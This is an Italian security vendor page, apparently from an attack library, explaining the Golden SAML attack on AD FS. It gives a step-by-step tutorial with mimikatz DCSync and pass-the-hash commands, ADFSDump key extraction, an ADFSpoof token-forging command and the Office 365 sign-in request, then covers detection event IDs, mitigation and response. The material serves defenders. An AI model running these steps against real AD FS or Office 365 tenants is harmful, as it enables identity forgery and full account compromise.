Attacco Golden SAML
Golden SAML è simile nel concetto alla tecnica del Golden Ticket. La differenza è che invece di compromettere il segreto di Active Directory che firma i ticket Kerberos, l'avversario compromette il segreto usato per firmare le asserzioni SAML create dai Servizi di Federazione di Active Directory (AD FS), che sono frequentemente utilizzati per estendere l'identità di Active Directory alle applicazioni cloud.
Per un attacco Golden SAML, un avversario deve prima compromettere l'account del servizio AD FS sul server AD FS. Una volta autenticato come account del servizio AD FS, possono utilizzare strumenti come ADFSDump per estrarre le informazioni richieste:
• Il certificato di firma del token e la sua chiave privata
• La chiave del Distributed Key Manager (DKM) da Active Directory
• L'elenco dei servizi per i quali il server AD FS è configurato per essere un provider di identità
Sommario delle minacce
Target: AD FS e servizi associati
Strumenti: AAD Internals, ADFSDump, shimit, ADFSpoof, mimikatz
Tattica ATT&CK®: Accesso alle credenziali
Tecnica ATT&CK: Falsificazione credenziali web: Token SAML
Difficoltà
Rilevamento: Difficile
Mitigazione: Media
Risposta: Hard
Tutorial sull'attacco: Come funziona l'attacco Golden SAML
PASSAGGIO 1: Compromettere il servizio AD FS
Un avversario può utilizzare diversi metodi per compromettere il servizio AD FS. In generale, qualsiasi modo per ottenere l'accesso amministrativo al server AD FS è sufficiente. L'esempio sottostante utilizza alcune tecniche: la ricognizione LDAP per scoprire AD FS, DCSync per esportare gli hash dell'account di servizio e poi Pass the Hash (PtH) per ottenere una sessione sul server AD FS come account di servizio.
Code
# LDAP reconnaissance for AD FS / AADC Items
## ADFS Uses a Host SPN on the service account for the ADFS Service Portal. If the portal is known (ADFS/STS/FS etc.) it can be discovered
Get-ADObject -filter { ServicePrincipalName -contains “*adfs*” -or ServicePrincipalName -contains “*STS*” -or ServicePrincipalName -contains “*FS*” }
## ADFS User/Service/computer Accounts
Get-ADObject -filter { samaccountname -like “*adfs*” -or description -like “*adfs*” -or description -like “*aadc*” }
# Found GMSA Account named adfssvc$
.\mimikatz.exe “lsadump::dcsync /user:adfssvc$”
# Execute PtH
.\mimikatz.exe “privilege::debug” “sekurlsa::pth /user:aadcsvc$ /domain:domain.local /ntlm:f0f13a15b218cb98d1ada6484e380fe6 /aes256:f66c03bf486b3b5c7c40d526af00d3b89bf2f120a24059a739005a1c17d1d909 /aes128:569afe31a386f460e69e7915895837f8”
Output
# Command 1 #
DistinguishedNameNameObjectClass ObjectGUID
-------------------------------- ----------
CN=ADFS,OU=Servers,DC=domain,DC=localADFScomputerfbf560c9-da5e-42b9-8f80-9c9a37006c9b
CN=MSOL_81f4a7929078,CN=Users,DC=domain,DC=local MSOL_81f4a7929078 user38348edf-8a4a-400e-83b4-eb88a57b78a7
# Command 2 #
DistinguishedNameNameObjectClassObjectGUID
------------------------------------------
CN=ADFS,OU=Servers,DC=domain,DC=localADFScomputerfbf560c9-da5e-42b9…
CN=aadcsvc,CN=Managed Service Accounts,DC=domain,DC=local aadcsvc msDS-GroupManagedServiceAccount f1709f9d-e137-4185.
# Command 3 #
mimikatz(commandline) # lsadump::dcsync /user:domain\da
[DC] 'domain.local' will be the domain
[DC] 'DC.domain.local' will be the DC server
[DC] 'aadcsvc$ ' will be the user account
[rpc] Service: ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
Object RDN: DA
--- Output truncated ---
Credentials:
Hash NTLM: f0f13a15b218cb98d1ada6484e380fe6
--- Output truncated ---
* Primary:Kerberos-Newer-Keys *
Default Salt : DOMAIN.LOCALDA
Default Iterations : 4096
Credentials
aes256_hmac(4096) : f66c03bf486b3b5c7c40d526af00d3b89bf2f120a24059a739005a1c17d1d909
aes128_hmac(4096) : 569afe31a386f460e69e7915895837f8
# Command 4 #
# New Window Opens for PTH #
PASSAGGIO 2: Estrai le informazioni richieste
Dopo essersi autenticato come account del servizio AD FS, l'aggressore deve ora accedere ed esportare le informazioni necessarie per falsificare il token SAML.
In questo esempio, utilizzeremo l'utilità ADFSDump , che si connette localmente al database AD FS per estrarre l'elemento EncryptedPFX delle impostazioni del servizio di firma del token e si connette anche ad Active Directory per esportare la chiave DKM. Dovrai copiare l'output nei file di testo come segue:
- DKMKey.txt conterrà la chiave DKM.
- TKSKey.txt conterrà la chiave di firma del token.
Code
ADFSDump.exe
Output
_______ ___________ ____
/| / __ \/ ____/ ___// __ \__ ______ ___ ____
/ /| | / / / / /_\__ \/ / / / / / / __ `__ \/ __ \
/ ___ |/ /_/ / __/ ___/ / /_/ / /_/ / / / / / / /_/ /
/_/ |_/_____/_//____/_____/\__,_/_/ /_/ /_/ .___/
/_/
Created by @doughsec
## Extracting Private Key from Active Directory Store
[-] Domain is domain.local
[-] Private Key: 05-77-08-31-87-5E-A4-24-6E-C7-EE-48-64-6F-47-23-EB-D6-56-71-DD-3C-42-D0-DE-6B-58-13-16-DF-CB-57
## Reading Encrypted Signing Key from Database
[-] Encrypted Token Signing Key Begin
AAAAAQAAAAAEEN71Kh/hvD9Jk
--- output truncated---
DeMPt0Myf9vtUZow==
[-] Encrypted Token Signing Key End
## Reading The Issuer Identifier
[-] Issuer Identifier: http://sts.stealthbitslab.com/adfs/services/trust
[-] Detected AD FS 2019
[-] Uncharted territory! This might not work...
## Reading Relying Party Trust Information from Database
[-]
Microsoft Office 365 Identity Platform Worldwide
==================
Enabled: True
Sign-In Protocol: WsFed-SAML (SAML 1.1)
Sign-In Endpoint: https://login.microsoftonline.com/login.srf
Signature Algorithm: http://www.w3.org/2001/04/xmldsig-more#rsa-sha256
SamlResponseSignatureType: 1;
Identifier: urn:federation:MicrosoftOnline
Access Policy:
Access Policy Parameter:
Issuance Rules: @RuleName = "Issue UPN"
c:[Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/windowsaccountname"]
=> issue(store = "Active Directory", types = ("http://schemas.xmlsoap.org/claims/UPN"), query = "samAccountName={0};userPrincipalName;{1}", param = regexreplace(c.Value, "(?<domain>[^\\]+)\\(?<user>.+)", "${user}"), param = c.Value);
--- Output Truncated ---
PASSAGGIO 3: Convertire le informazioni recuperate
Successivamente, l'avversario deve convertire le informazioni in un formato utilizzabile dagli strumenti:
- TKSKey.txt deve essere decodificato in Base64.
- DKMKey.txt deve essere convertito in valori esadecimali.
Per realizzare ciò, possono utilizzare strumenti come HexEdit o eseguire il seguente codice in modalità terminale su una macchina Linux:
# Convert TKSKey.txt to TKSKey.bin
cat TKSKey.txt | base64 -d > TKSKey.bin
# Convert DKMKey.txt to DKMKey.bin
# tr -d "-" -> Deletes all -'s
# xxd -r -p -> Read Hexdump
cat DKMkey.txt | tr -d "-" | xxd -r -p > DKMkey.bin
PASSAGGIO 4: Forgi il token Golden SAML
L'attaccante ora possiede tutti i dettagli necessari per falsificare il token SAML. Questo esempio utilizza lo strumento ADFSpoof per creare un token Golden SAML per l'utente ADA_Fox@stealthbitslab.com.
Code
Python3.6 ADFSSpoof.py -b TKSKey.bin PKey.bin --server stealthbitslab.com o365 --upn ADA_FOX@stealthbitslab.com --objectguid {f37580cd-XXXX-XXXX-XXXX-6231f903a8c1}
Output
_______ _______________
/| / __ \/ ____/ ___/____ ____ ____ / __/
/ /| | / / / / /_\__ \/ __ \/ __ \/ __ \/ /_
/ ___ |/ /_/ / __/ ___/ / /_/ / /_/ / /_/ / __/
/_/ |_/_____/_//____/ .___/\____/\____/_/
/_/
A tool to for AD FS security tokens
Created by @doughsec
%3Ct%3ARequestSecurityTokenResponse%20xmlns%3At%3D%22http%3A//schemas.xmlsoap.org/
--- output truncated ---
t%3AKeyType%3E%3C/t%3ARequestSecurityTokenResponse%3E
PASSAGGIO 5: Utilizza il token Golden SAML per accedere a Office 365
L'aggressore ora ha semplicemente bisogno di utilizzare il token SAML falsificato per accedere a Office 365 come ADA_FOX. Questo può essere fatto utilizzando strumenti come il Burp Suite repeater per ripetere le richieste web: basta usare l'output del Passo 4 e le informazioni della richiesta web qui sotto per ripetere la richiesta. e poi utilizzare la funzione “request in browser” per eseguire questa richiesta nel browser. Una volta completato, all'attaccante verrà presentata la pagina di Continue to sign-in page.
Codice
POST /login.srf HTTP/1.1
Host: login.microsoftonline.com
Connection: close
Content-Length: 7962
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
DNT: 1
wa=wsignin1.0&wresult={STEP 4 OUTPUT}
Rileva, Mitiga e Rispondi
Rileva
Difficoltà: Difficile
È possibile rilevare segni di sfruttamento di Golden SAML in due punti:
- Quando l'avversario compromette i segreti di firma (Passo 2)
- Quando l'avversario utilizza un token falsificato (Passo 5)
Rilevamento durante il compromesso di Secret
Come descritto sopra, prima che un attaccante possa falsificare un token SAML, deve compromettere il servizio AD FS e esportare il certificato di firma AD FS e la sua chiave privata. I difensori dovrebbero prestare attenzione a login insoliti al server AD FS, così come a fonti insolite di autenticazione da parte dell'account di servizio AD FS stesso. Inoltre, i seguenti eventi dovrebbero essere monitorati per le esportazioni di certificati sul Server AD FS:
70 | Registro eventi | Sistema | Informazioni |
|---|---|---|---|
|
70 |
Microsoft-Windows-CAPI2/Operational |
Server AD FS |
Tentativo di esportazione chiave privata (mimikatz) |
|
1007 |
Microsoft-Windows-CertificateServicesClient-Lifecycle-System/Operational |
Server AD FS |
Esportazione generale dei certificati; nessuna informazione su se la chiave privata sia stata esportata |
|
4662 |
Sicurezza |
Controller di dominio |
Ricognizione della chiave DKM; Quando ObjectName è simile a CN=CryptoPolicy,CN=ADFS,CN=Microsoft,CN=Program Data,DC=YourDomain,DC=local e le proprietà contengono thumbnailPhoto {8d3bca50-1d7e-11d0-a081-00aa006c33ed} |
|
18 |
Microsoft-Windows-Sysmon/Operational |
Server AD FS |
Connessione Named Pipe al database WID non proveniente dall'eseguibile ADFS. Richiede che Sysmon sia installato e configurato correttamente. |
Rilevamento durante l'uso di un token falsificato
Per rilevare l'uso di un token SAML potenzialmente falsificato, è necessario un registro centrale di tutti gli eventi di autenticazione da AD FS e dai fornitori di servizi connessi. Questi dati possono poi essere correlati per determinare se ogni autenticazione ad un'applicazione è stata effettivamente creata dal servizio AD FS. Quando viene utilizzato un token SAML falsificato, non ci sarà nessun evento sul server AD FS da collegare ai log di accesso del fornitore di servizi.
Gli eventi AD FS sono correlati utilizzando l'ID di Correlazione (noto anche come ID di Attività) tra eventi con i fornitori di servizi. Ecco un esempio di un accesso legittimo in cui il fornitore di servizi ha un ID di Correlazione di 5b0f3b0b-e875-4307-ba98-0a2f0d5aa2ce e c'è un evento corrispondente per AD FS che ha lo stesso ID di Correlazione.
- Accesso del fornitore di servizi
- Audit dei token delle app AD FS
Il Federation Service ha emesso un token valido. Consultare l'XML per i dettagli.
Activity ID: 5b0f3b0b-e875-4307-ba98-0a2f0d5aa2ce
Additional Data
XML: <?xml version="1.0" encoding="utf-16"?>
<AuditBase xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="AppTokenAudit">
<AuditType>AppToken</AuditType>
<AuditResult>Success</AuditResult>
<FailureType>None</FailureType>
<ErrorCode>N/A</ErrorCode>
<ContextComponents>
<Component xsi:type="ResourceAuditComponent">
<RelyingParty>urn:federation:MicrosoftOnline</RelyingParty>
<ClaimsProvider>AD AUTHORITY</ClaimsProvider>
<UserId>DOMAIN\ADA_FOX</UserId>
</Component>
<Component xsi:type="AuthNAuditComponent">
<PrimaryAuth>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</PrimaryAuth>
<DeviceAuth>false</DeviceAuth>
<DeviceId>N/A</DeviceId>
<MfaPerformed>false</MfaPerformed>
<MfaMethod>N/A</MfaMethod>
<TokenBindingProvidedId>false</TokenBindingProvidedId>
<TokenBindingReferredId>false</TokenBindingReferredId>
<SsoBindingValidationLevel>TokenUnbound</SsoBindingValidationLevel>
</Component>
<Component xsi:type="ProtocolAuditComponent">
<OAuthClientId>N/A</OAuthClientId>
<OAuthGrant>N/A</OAuthGrant>
</Component>
<Component xsi:type="RequestAuditComponent">
<Server>http://sts.stealthbitslab.com/adfs/services/trust</Server>
<AuthProtocol>WSFederation</AuthProtocol>
<NetworkLocation>Intranet</NetworkLocation>
<IpAddress>10.0.0.55</IpAddress>
<ForwardedIpAddress />
<ProxyIpAddress>N/A</ProxyIpAddress>
<NetworkIpAddress>N/A</NetworkIpAddress>
<ProxyServer>N/A</ProxyServer>
<UserAgentString>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36</UserAgentString>
<Endpoint>/adfs/ls/</Endpoint>
</Component>
</ContextComponents>
</AuditBase>
Mitigare
Difficoltà: Media
Proteggere i server AD FS e gli account di servizio è di fondamentale importanza quando si cerca di mitigare gli attacchi Golden SAML. Due pratiche migliori sono particolarmente utili:
- Non consentire agli utenti di avere privilegi amministrativi oltre i confini.
- Tratta i server AD FS con lo stesso livello di sicurezza dei controller di dominio
Rispondi
Difficoltà: Difficile
Se viene rilevato un token Golden SAML, si dovrebbe presumere un compromesso completo dell'identità. Al minimo, saranno necessari diversi passaggi manuali, come la rotazione del certificato di firma del token e l'indagine sull'entità del compromesso.
- Attiva il processo di risposta agli incidenti e allerta il team di risposta.
Condividi su
Visualizza attacchi informatici correlati
Abuso dei permessi dell'applicazione Entra ID – Come funziona e strategie di difesa
Modifica di AdminSDHolder – Come funziona e strategie di difesa
Attacco AS-REP Roasting - Come Funziona e Strategie di Difesa
Attacco Hafnium - Come funziona e strategie di difesa
Spiegazione degli attacchi DCSync: minaccia alla sicurezza di Active Directory
Attacco Pass the Hash
Comprendere gli attacchi Golden Ticket
Attacco agli Account di Servizio Gestiti di Gruppo
Attacco DCShadow – Come Funziona, Esempi Reali e Strategie di Difesa
ChatGPT Prompt Injection: Comprensione dei rischi, esempi e prevenzione
Attacco di estrazione password NTDS.dit
Attacco Kerberoasting – Come Funziona e Strategie di Difesa
Spiegazione dell'attacco Pass-the-Ticket: Rischi, Esempi e Strategie di Difesa
Attacco di Password Spraying
Attacco di estrazione di password in chiaro
Spiegazione della vulnerabilità Zerologon: Rischi, exploit e mitigazione
Attacchi ransomware di Active Directory
Sbloccare Active Directory con l'attacco Skeleton Key
Movimento laterale: cos'è, come funziona e prevenzioni
Attacchi Man-in-the-Middle (MITM): cosa sono e come prevenirli
Perché PowerShell è così popolare tra gli aggressori?
4 attacchi agli account di servizio e come proteggersi
Come prevenire gli attacchi malware che impattano sulla tua azienda
Cos'è il Credential Stuffing?
Compromettere SQL Server con PowerUpSQL
Cosa sono gli attacchi di Mousejacking e come difendersi
Rubare credenziali con un Security Support Provider (SSP)
Attacchi con Rainbow Table: Come Funzionano e Come Difendersi
Uno sguardo approfondito agli attacchi alle password e come fermarli
Ricognizione LDAP
Bypassare MFA con l'attacco Pass-the-Cookie
Attacco Silver Ticket